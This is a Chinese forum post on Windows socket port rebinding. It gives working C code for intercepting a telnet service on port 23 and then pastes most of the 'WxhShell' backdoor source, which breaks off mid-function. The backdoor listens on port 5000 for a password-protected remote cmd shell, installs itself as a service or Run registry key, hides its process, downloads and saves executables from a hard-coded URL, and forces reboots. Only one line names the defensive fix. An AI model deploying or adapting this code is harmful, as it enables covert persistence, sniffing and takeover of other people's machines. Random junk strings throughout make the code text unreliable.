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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j-d542"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _\<TjGtG  
d ATAH}r&  
  saddr.sin_family = AF_INET; XVF!l>nE  
/[5\T2GI   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >>c%I c  
=zR9^k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YZAQt* x  
.pG`/[*a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,#bT  
5S[:;o  
  这意味着什么?意味着可以进行如下的攻击: Y.q$"lm7k  
cSjX/%*!m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]@m`bs_6  
cT@H49#uB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LVy`U07CV  
1)5/a5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y7,t "XV  
?w&?P}e +  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WD5jO9Oai  
%jJIR88  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QRx9;!~b}  
Uu|2!}^T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8?rq{&$t  
e0]#vqdO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (,tL(:c  
9I}Uh#]k<  
  #include ix38|G9U  
  #include HIUP =/x  
  #include RRro.r,  
  #include    0d$LUQ't  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3v&Shb?xb;  
  int main()  N!Xn)J  
  { b~{nS,_Rn  
  WORD wVersionRequested; P~V ^Efz{  
  DWORD ret; _Ea1;dJmq  
  WSADATA wsaData; TxH amI l  
  BOOL val; lk` |u$KPz  
  SOCKADDR_IN saddr; $oJjgAxcZ  
  SOCKADDR_IN scaddr; v?}rA%so  
  int err; '@zMZc!  
  SOCKET s; e(FT4KD~  
  SOCKET sc; Y5P9z{X=  
  int caddsize; :2+z_+k}<  
  HANDLE mt; 'Hgk$Im+  
  DWORD tid;   =BbXSwv'(  
  wVersionRequested = MAKEWORD( 2, 2 ); :H#D4O8UiH  
  err = WSAStartup( wVersionRequested, &wsaData ); $GOF'  
  if ( err != 0 ) { 9?^0pR p  
  printf("error!WSAStartup failed!\n"); e.Jaq^Gw|  
  return -1; Iu(]i?Y  
  } %$bhg&}  
  saddr.sin_family = AF_INET; mRt/ d  
   oTr,zRL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,|]k4F  
+Y2D @K?)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j3S!uA?  
  saddr.sin_port = htons(23); s#aane  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B,` `2\B  
  { \^!<Y\\  
  printf("error!socket failed!\n"); Hn/V*RzQ  
  return -1; =L;g:hc<  
  } mR|']^!SE  
  val = TRUE; R%\<al$O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J3/e;5w2Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q=Q&\.<  
  { m:k;?p:x  
  printf("error!setsockopt failed!\n"); hpq\  
  return -1; di ]CYLf  
  } oW>e.}d!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k4en/&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gt=@v())  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &'/bnN +R  
uLfk>&hc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u Tdz$Nh  
  {  B`vC>  
  ret=GetLastError(); j'Gezx^.<e  
  printf("error!bind failed!\n"); \5a;_N[Ed  
  return -1; A'D2uV  
  } Mp^G7JY,  
  listen(s,2); |Qpd<L  
  while(1) 4tvZJS hV  
  { qWXw*d1]  
  caddsize = sizeof(scaddr); ;Y`8Ee4vH  
  //接受连接请求 2+K - I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B->oTC`5  
  if(sc!=INVALID_SOCKET) IK8" 3+(  
  { 0Ca/[_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DZ:$p.  
  if(mt==NULL) _^$F^}{&  
  { gQeoCBCE  
  printf("Thread Creat Failed!\n"); x4`|[  
  break; T?1e&H%USV  
  } fF5\\_,  
  } z)R\WFBW  
  CloseHandle(mt); hD,xJ]zv1  
  } _Om5w p=:  
  closesocket(s); Shss};QZf(  
  WSACleanup(); BDX>J3h  
  return 0; `2j"Z.=  
  }   =A_{U(>  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bi0&F1ZC!  
  { ;Wn0-`_1,  
  SOCKET ss = (SOCKET)lpParam; {axRq'=  
  SOCKET sc; N0YJ'.=8,  
  unsigned char buf[4096]; :Yi 4Ia  
  SOCKADDR_IN saddr; #qEUGD`  
  long num; T+:GYab/  
  DWORD val; z:08;}t  
  DWORD ret; @Dd(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8vj]S5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V|4k=_-  
  saddr.sin_family = AF_INET; "&\]1A}Z-x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }dEf |6_  
  saddr.sin_port = htons(23); /f>I;z1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <}%gZ:Z6g  
  { p(yHB([8  
  printf("error!socket failed!\n"); B^j(Fq  
  return -1; //#]CsFiP  
  } j$k/oQ  
  val = 100; h|EHK!<"8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c}2"X,  
  { zbDK$g6  
  ret = GetLastError(); T 0?9F2  
  return -1; KPa@~rU  
  } %,udZyO3uR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sw,p6T[  
  { <7j"CcJzZ  
  ret = GetLastError(); [t]q#+Zs  
  return -1; ? Lr:>  
  } Rts}y:44  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s~I#K[[5  
  { .b<wNUzP  
  printf("error!socket connect failed!\n"); okBaQH2lUl  
  closesocket(sc); i6k~j%0m  
  closesocket(ss); NOtwgZ-  
  return -1; ,"T[#A~  
  } #3-hE  
  while(1) ^>h2.A J  
  { (9+N_dLx~P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 31mlnDif  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tBE-:hX*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )umW-A  
  num = recv(ss,buf,4096,0); A~'p~ @L  
  if(num>0) dg;E,'e_ p  
  send(sc,buf,num,0); R-\"^BV#Z  
  else if(num==0) 2*0n#" L  
  break; .Mzrj{^Y  
  num = recv(sc,buf,4096,0); Le,+jm  
  if(num>0) #s-li b  
  send(ss,buf,num,0); !)uXCg9U  
  else if(num==0) C] |m|`  
  break; 6hqqZ  
  } uF]+i^+  
  closesocket(ss); zfUkHL6  
  closesocket(sc); :$oiP  
  return 0 ; cONfHl{  
  } OC2%9Igx0  
~;nW+S$o  
GC~N$!*  
========================================================== CIf""gL9  
)auuk<  
下边附上一个代码,,WXhSHELL 'Ie!%k^  
9!Vp-bo  
========================================================== .n)0@X!  
Q9 RCN<!  
#include "stdafx.h" QK`2^  
_ 4+=S)$  
#include <stdio.h> #>qA&*+{n  
#include <string.h> SP5t=#M6  
#include <windows.h> u9dL-Nr`  
#include <winsock2.h> ~8G cWy6  
#include <winsvc.h> |-VbJd  
#include <urlmon.h> )1]LoEdm`  
|} K7Q  
#pragma comment (lib, "Ws2_32.lib") eR5+1b  
#pragma comment (lib, "urlmon.lib") ~7&O[  
F84?Mi{r2  
#define MAX_USER   100 // 最大客户端连接数 v7- d+P=  
#define BUF_SOCK   200 // sock buffer ^b(> Bg )T  
#define KEY_BUFF   255 // 输入 buffer .;~K*GC  
gc{5/U9H*  
#define REBOOT     0   // 重启 Q mn'G4#@E  
#define SHUTDOWN   1   // 关机 FI(M 1iJ  
eFCXjM  
#define DEF_PORT   5000 // 监听端口 *gXm&/2*  
_k.gVm  
#define REG_LEN     16   // 注册表键长度 wenJ(0L|  
#define SVC_LEN     80   // NT服务名长度 +)K yG  
8rsv8OO  
// 从dll定义API BXo9s~5Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yg14aKZl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9 8eS f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <0I=XsE1iX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mPo].z  
1_.#'U>  
// wxhshell配置信息 UQ 'U 4q  
struct WSCFG { @Ao E>  
  int ws_port;         // 监听端口 6 _\j_$  
  char ws_passstr[REG_LEN]; // 口令 K1>(Fs$  
  int ws_autoins;       // 安装标记, 1=yes 0=no *npe]cC  
  char ws_regname[REG_LEN]; // 注册表键名 j>OB<4?.+  
  char ws_svcname[REG_LEN]; // 服务名 8?7:sfc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;F<)BEXC<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7oI^shk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i<Be)Y-'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c F (]`49(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z;JZ<vEt92  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u +OfUBrf  
7eg//mL"6  
}; +(<}`!9M*  
&c!=< <5M  
// default Wxhshell configuration 8W_X&X?Q  
struct WSCFG wscfg={DEF_PORT, 9jwo f}OU  
    "xuhuanlingzhe", d.&~n`Rv!p  
    1, $wn "+wX  
    "Wxhshell", q}["Nww-  
    "Wxhshell", RFu]vFff  
            "WxhShell Service", ?iBHJ{  
    "Wrsky Windows CmdShell Service", f V.(v&  
    "Please Input Your Password: ", U q6..<#  
  1, ^$y_~z3o#7  
  "http://www.wrsky.com/wxhshell.exe", gU}?Yy  
  "Wxhshell.exe" k|7XC@i]%  
    }; d0 tN73(  
(Rk g  
// 消息定义模块 r(yb%p+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]eq3cwR[|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F#^.L|d4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VMW ?[j  
char *msg_ws_ext="\n\rExit."; "t"=9:_t  
char *msg_ws_end="\n\rQuit."; T8FKa4ikn  
char *msg_ws_boot="\n\rReboot..."; ";e0-t6:  
char *msg_ws_poff="\n\rShutdown..."; kc8T@5+I0  
char *msg_ws_down="\n\rSave to "; x9HA^Rj4-  
xTM&SVNbL_  
char *msg_ws_err="\n\rErr!"; z@ A5t4+3  
char *msg_ws_ok="\n\rOK!"; f(?`PD[  
$/45*  
char ExeFile[MAX_PATH]; q#PGcCtu  
int nUser = 0; nx,67u/Pb  
HANDLE handles[MAX_USER]; ' n~N*DH  
int OsIsNt; 3<msiC P  
);;UNO21+  
SERVICE_STATUS       serviceStatus; h{ce+~X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (s{%XB:K  
'eqvK|Uj:  
// 函数声明 v(4C?vxhG  
int Install(void); $b$r,mc  
int Uninstall(void); uW[s?  
int DownloadFile(char *sURL, SOCKET wsh); lLtC9:  
int Boot(int flag); j&m<=-q  
void HideProc(void); n*iaNaU"'  
int GetOsVer(void); n]coqJ  
int Wxhshell(SOCKET wsl); jO:<"l^+u  
void TalkWithClient(void *cs); Q:VD 2<2  
int CmdShell(SOCKET sock); wQnr*kyza  
int StartFromService(void); +I\ bs.84  
int StartWxhshell(LPSTR lpCmdLine); 3[aJ=5  
ZVIBmx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N??<3j+Iu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^Z:x poz,  
9f,HjRP  
// 数据结构和表定义 ^#^u90I  
SERVICE_TABLE_ENTRY DispatchTable[] = bJB:]vs$  
{ Cfz1\a&V{  
{wscfg.ws_svcname, NTServiceMain}, sQihyq6U;  
{NULL, NULL} S8,+6+_7  
}; xI:;%5{LN  
" 31C8  
// 自我安装 5-mJj&0:!  
int Install(void) 29Q5s$YD@  
{ J;_JH lK  
  char svExeFile[MAX_PATH]; 2,QkktJLo  
  HKEY key; ,CM$A}7[  
  strcpy(svExeFile,ExeFile); X?7$JV-:  
s:]rL&|  
// 如果是win9x系统,修改注册表设为自启动 #{ Uk4  
if(!OsIsNt) { 4qm5`o\hb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bNaJ{Dm$R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @#Xzk?+  
  RegCloseKey(key); o!\O)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $yFur[97C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F~l3?3ZV  
  RegCloseKey(key); IG9Q~7@  
  return 0; |g'sRTKJ  
    } ryn)  
  } J0=`n (48B  
} zw5~|<  
else { -O_UpjR;  
LiB0]+wzj  
// 如果是NT以上系统,安装为系统服务 Rthu8NKn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,<vrDHR  
if (schSCManager!=0) -I_lCZ{Nbi  
{ ka>RAr J  
  SC_HANDLE schService = CreateService `jZX(H   
  ( l[fNftT-  
  schSCManager, o"]eAQ  
  wscfg.ws_svcname, %*19S.=l  
  wscfg.ws_svcdisp, BO9Z "|"  
  SERVICE_ALL_ACCESS, %~W}262  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y?5yzD:  
  SERVICE_AUTO_START, Maa.>2v<  
  SERVICE_ERROR_NORMAL, Qs?+vk?*h  
  svExeFile, =6W:O  
  NULL, )>Lsj1qk  
  NULL, +I Ze`M%n  
  NULL, :,ym)|YV  
  NULL, <#s-hQ  
  NULL y\S7oD(OR  
  ); Asn0&Ys4  
  if (schService!=0)  CMg83  
  { $>h#|?*?  
  CloseServiceHandle(schService); ,X$Avdc2  
  CloseServiceHandle(schSCManager); | 5L1\O8#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Y4N  
  strcat(svExeFile,wscfg.ws_svcname); :O!G{./(_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 52["+1g\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g~y9j88?  
  RegCloseKey(key); sTA/2d  
  return 0; !:n),sFv45  
    } &=?`;K  
  } Z*TW;h0ZQ3  
  CloseServiceHandle(schSCManager); tZ@ +18  
} QhG-1P3#  
} jF3!}*7,  
Xou#38&p>  
return 1; x ?V/3zW  
} &S3W/lQs  
*M|\B|A.  
// 自我卸载 <bx9;1C>zd  
int Uninstall(void) rqFs[1wr>R  
{ @*uX[)  
  HKEY key; y{{EC#  
)]%9Tgn  
if(!OsIsNt) { VA%"IAl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >#:/ GN?  
  RegDeleteValue(key,wscfg.ws_regname); r~}}o o4K  
  RegCloseKey(key); 1SFKP$^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hr+-ndH!Pq  
  RegDeleteValue(key,wscfg.ws_regname); ob] lCX)  
  RegCloseKey(key); l'W+^  
  return 0; -/-6Td1JY>  
  } zkp Apj].  
} [Kj:~~`T   
} VRX" @uCD  
else { jOb[h=B"  
}R1`ThTM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YF -w=Y6  
if (schSCManager!=0) P*PL6UQ  
{ VU/W~gb4"A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xo@YTol  
  if (schService!=0) Q@2tT&eL  
  { ~}5Ml_J$,l  
  if(DeleteService(schService)!=0) { lkfFAwnc  
  CloseServiceHandle(schService); lk +K+Ra/  
  CloseServiceHandle(schSCManager); e9W7ke E*  
  return 0; %]ayW$4  
  } d# 3tQ*G/  
  CloseServiceHandle(schService); S/-7Zo&w+  
  } 4*vas]  
  CloseServiceHandle(schSCManager); iw fp'  
} 8'lhp2#h  
} gOyY#]g  
@LKG\zYBu  
return 1; /Tj"Fl\h  
} #tZf>zrs  
nuQ6X5>.=  
// 从指定url下载文件 &ZE\@Vc  
int DownloadFile(char *sURL, SOCKET wsh) {TncqA  
{ v{2DBr  
  HRESULT hr; t;!]z-Y>  
char seps[]= "/"; bw<w u}ED  
char *token; Y_@"v#,  
char *file; ay(!H~q_U  
char myURL[MAX_PATH]; <s8? Z1  
char myFILE[MAX_PATH]; JblmXqtC  
|WAD $3  
strcpy(myURL,sURL); @%<?GNSO  
  token=strtok(myURL,seps); 90T%T2K  
  while(token!=NULL) 5ttMua <G?  
  { 5}eQaW48  
    file=token; V-_/(xt*  
  token=strtok(NULL,seps); 8rwYNb.P  
  } Mjj}E >&  
ck+b/.gw`  
GetCurrentDirectory(MAX_PATH,myFILE); 23-t$y]  
strcat(myFILE, "\\");  gt_X AH  
strcat(myFILE, file); )_8}53C  
  send(wsh,myFILE,strlen(myFILE),0); A/"}Y1#qX\  
send(wsh,"...",3,0); OB6J.dF[%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jJVT_8J  
  if(hr==S_OK) ]G0dS Fh{j  
return 0; iS1Gb$?  
else >`89N'lZBm  
return 1; /zG +]  
qWO]s=V!  
} w(/DTQc~d  
2vc\=  
// 系统电源模块 @H\pipT_b  
int Boot(int flag) |mxNUo-  
{ ,;.B4  
  HANDLE hToken; $_C+4[R?  
  TOKEN_PRIVILEGES tkp; 5g``30:o  
hOPe^e"  
  if(OsIsNt) { lc[XFc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jJ a V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]U,CKJF%/  
    tkp.PrivilegeCount = 1; '@TI48 J+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hz?!BV0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c^=R8y-N  
if(flag==REBOOT) { l"J*)P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `c"4PU^  
  return 0; U:]MgZWn  
} ja[OcR-tX  
else { yo'9x s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X9fNGM1  
  return 0; 4:vTxNs&S  
} ~G>jw"r  
  } 4'SaEsA~  
  else { A&?}w_|9  
if(flag==REBOOT) { Ly9Q}dL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X Orcygb2  
  return 0; XGfzEld2"  
} _(C^[:s  
else { ~TDzq -U)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EeCFII  
  return 0; ~,ynJ]_aJB  
} qZaO&"q  
} !@u&{"{`  
cd!|Ne>fe  
return 1; ->\N_|_  
} 8xgJSk  
9\ v.qo.  
// win9x进程隐藏模块 S'o ]=&  
void HideProc(void) ! k,<|8(0  
{ s~^*+kq  
HsnG4OE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ik j=`,a2B  
  if ( hKernel != NULL ) *>k!hq;j  
  { ic-IN~J-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f =o4I2Y[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '[nmFCG%m*  
    FreeLibrary(hKernel); XA1f' Kk  
  } -#aZF2z   
9? 2  
return; D`Gt  
} as r=m{C"  
3_W{T@T  
// 获取操作系统版本 tMFsA`ng  
int GetOsVer(void) WfG(JJ  
{ ?*H9-2W@  
  OSVERSIONINFO winfo; %cX"#+e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VD$ Eb  
  GetVersionEx(&winfo); BwxnDeG)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! _{d)J  
  return 1;  (#o t^  
  else E-fr}R}  
  return 0; +TN^NE  
} \iru7'S  
6Y1J2n"  
// 客户端句柄模块 ;cKH1  
int Wxhshell(SOCKET wsl) Hx %$ X  
{ KE.Dt  
  SOCKET wsh; *N F$1  
  struct sockaddr_in client; & Kmy}q  
  DWORD myID; ,Ff n)+  
]^ K;goQv  
  while(nUser<MAX_USER) `~h4D(n`  
{ _BS 9GB  
  int nSize=sizeof(client); {.CMD9F[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *C6D3y  
  if(wsh==INVALID_SOCKET) return 1; ;`(R7X *3  
oNM?y:O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cin2>3Z$  
if(handles[nUser]==0) >(3\k iYS  
  closesocket(wsh); "DQ'C%sL9  
else 6/tI8H3E  
  nUser++; jL>:>r  
  } +e P.s_t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WVX`<  
*1A&'T2  
  return 0; sx 9uV  
} ~R]35Cp-#  
4(cJ^]wb^  
// 关闭 socket .DguR2KT  
void CloseIt(SOCKET wsh) WE6\dhJ<  
{ &@v<nO-  
closesocket(wsh); PaO- J&<  
nUser--; ^6;V}2>v}  
ExitThread(0); v]"L]/"  
}  !HK^AwNY  
h#qN+qt}  
// 客户端请求句柄 DWiBG  
void TalkWithClient(void *cs) a~ ]bD  
{ 9$1)k;ChP/  
TgfrI  
  SOCKET wsh=(SOCKET)cs; }|wv]U~  
  char pwd[SVC_LEN]; @;Opx."  
  char cmd[KEY_BUFF]; h|;qG)f^  
char chr[1]; lr@#^  
int i,j; `BY&>WY[  
/rc%O*R  
  while (nUser < MAX_USER) { S* R,FKg  
FjFMR 63  
if(wscfg.ws_passstr) { kkCZNQ~I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r[txlQI9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K^[#]+nQ  
  //ZeroMemory(pwd,KEY_BUFF); qu|i;WZE  
      i=0; C$yq\C+I  
  while(i<SVC_LEN) { JXqr3 Np1  
FMw&(  
  // 设置超时 )_7>nuQ6  
  fd_set FdRead; 'gMfN  
  struct timeval TimeOut; O9M{  ).  
  FD_ZERO(&FdRead); ^jE8+h  
  FD_SET(wsh,&FdRead); - y AQ  
  TimeOut.tv_sec=8; BJ}D%nm}  
  TimeOut.tv_usec=0; w.{&=WTr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]0V}D,V($  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J^#:qk  
N)2f7j4C &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S$q =;"  
  pwd=chr[0]; 23F/\2MSG  
  if(chr[0]==0xd || chr[0]==0xa) { ,:Z^$  
  pwd=0; b*kfWG-6t  
  break; (!L5-8O  
  } .Pndx%X9s  
  i++; }T2xXbU  
    } &[vw 0N-  
bUwn}_7b  
  // 如果是非法用户,关闭 socket g=L]S-e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sl2iz?   
} N2r/ho}8  
&)d$t'7p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @$^bMIj@W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZUm?*.g\^  
 uF|3/x=  
while(1) { XN=67f$Hw  
%]gTm7 =t  
  ZeroMemory(cmd,KEY_BUFF); 2&mGT&HAVA  
Jzji&A~  
      // 自动支持客户端 telnet标准   S{t+>/  
  j=0; _9 .(a  
  while(j<KEY_BUFF) { Kb#4ILA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Ea;J0V  
  cmd[j]=chr[0]; .T<= z  
  if(chr[0]==0xa || chr[0]==0xd) { O|IG_RL]  
  cmd[j]=0; B(a-k?  
  break; S_ MyoXV  
  } GG064zPq7  
  j++; H={DB  
    } bK"SKV  
>2$5eI  
  // 下载文件 |:[tNs*,O  
  if(strstr(cmd,"http://")) { _/8FRkx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9O` m,t  
  if(DownloadFile(cmd,wsh)) ;7]u!Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @bM2{Rh:  
  else y.5/?{GL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'FlJpA}  
  } 6vuq1  
  else { Ac2(O6  
<~}7Mxn%x@  
    switch(cmd[0]) { 4%4avEa"w  
  w\54j)rb  
  // 帮助 _It,%<3  
  case '?': { ~7~~S*EQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e0@ 6Pd  
    break; 2XTPBZNe  
  } q"O.Cbk  
  // 安装 {FRAv(,\  
  case 'i': { s+Fi @lg,  
    if(Install()) Wcb7 ;~K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Vd[-  
    else IDkWGh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,fK3ZC  
    break; ]{"Br$  
    } Hsih[f  
  // 卸载 p raaY}}  
  case 'r': { QM3,'?ekRH  
    if(Uninstall()) ;\EiM;Q]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&8Gr0C  
    else JnHo9K2.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^~{$wVGa  
    break; `D9]*c !mO  
    } NCxqh<  
  // 显示 wxhshell 所在路径 g{W;I_P^9  
  case 'p': { iA8U Yd3Q  
    char svExeFile[MAX_PATH]; 91Uj}n%  
    strcpy(svExeFile,"\n\r"); T+N|R  
      strcat(svExeFile,ExeFile); /Q,{?';~  
        send(wsh,svExeFile,strlen(svExeFile),0); e[sK@jX6  
    break; nz9DLAt  
    }  Z%I  
  // 重启 2X:4CC%5  
  case 'b': { wApMzZ(X2y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vG \a1H  
    if(Boot(REBOOT)) ?Ma~^0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d Le-nF  
    else { G^q3Z#P  
    closesocket(wsh); PrudhUI^  
    ExitThread(0); ?"z]A7<Hj  
    } piU /&  
    break; Lm@vXgMD  
    } ##Z_QB(;  
  // 关机 DGevE~  
  case 'd': { DE2a5+^  
